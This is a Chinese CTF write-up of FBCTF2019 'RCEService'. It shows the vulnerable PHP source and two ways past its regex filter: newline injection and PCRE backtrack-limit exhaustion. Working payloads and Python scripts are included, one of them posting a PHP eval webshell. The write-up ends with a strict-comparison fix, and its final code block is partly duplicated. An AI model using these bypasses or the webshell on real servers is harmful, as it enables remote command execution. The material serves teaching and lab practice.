[FBCTF2019]RCEService

源码：

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

考点1：非多行模式换行绕过，环境变量设置

preg_match('/^.*(flag).*$/',$a)

上面的正则过滤中，.不会匹配到换行符可以\nflag绕过
在非多行模式下，$不会匹配到%0a，可以flag%0a绕过

putenv(‘PATH=/home/rceservice/jail’);一般环境变量配置到/bin目录下所以可以执行命令，配置到其他目录可以使用绝对路径调用cat

Linux命令的位置：`/bin`,`/usr/bin`，默认都是全体用户使用，
`/sbin`,`/usr/sbin`,默认root用户使用

payload：{%0a"cmd":“/bin/cat /home/rceservice/flag”%0a}

考点2：利用PCRE回溯次数限制绕过(脏数据污染)

正则表达式：

正则引擎分为DFA（确定性有限状态自动机）与NFA（非确定性有限状态自动机）

• DFA: 从起始状态开始，一个字符一个字符地读取输入串，并根据正则来一步步确定至下一个转移状态，直到匹配不上或走完整个输入
• NFA：从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，如果匹配不上，则进行回溯，尝试其他状态

由于NFA的执行过程存在回溯，所以其性能会劣于DFA，但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎，其中也包括PHP使用的PCRE库。

回溯：

<\?.*[(`;?>].*

输入

<?php phpinfo();//aaaaa

先匹配到<?

.*匹配所有字符到最后但是还有[(`;?>]未匹配会逐渐吐出a（回溯）

直到;之后再.*匹配到最后

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TVaaehHG-1653728130988)(https://www.leavesongs.com/media/attachment/2018/11/26/13ea3435-1e15-432b-b9f2-fa9805f4b00b.b2c963c22ff8.png)]

但是回溯有上限

PHP为了防止正则表达式的拒绝服务攻击（reDOS），给pcre设定了一个回溯次数上限pcre.backtrack_limit默认一百万，超过一百万不会返回1或0而是false即超过限制即可

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

GET无法传过多的字符，用的是POST传参

该题脚本：

import requests
url='http://ba3946c8-696f-4b69-9804-94bd7fcde6e8.node3.buuoj.cn/'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","DMIND":"'+'a'*1000000+'"}'
    }
print(url)
res = requests.post(url=url,data=data)
print(res.text)

对于正则回溯限制绕过修复方法

用preg_match对字符串进行匹配，一定要使用===全等号来判断返回值

function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}
ta){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}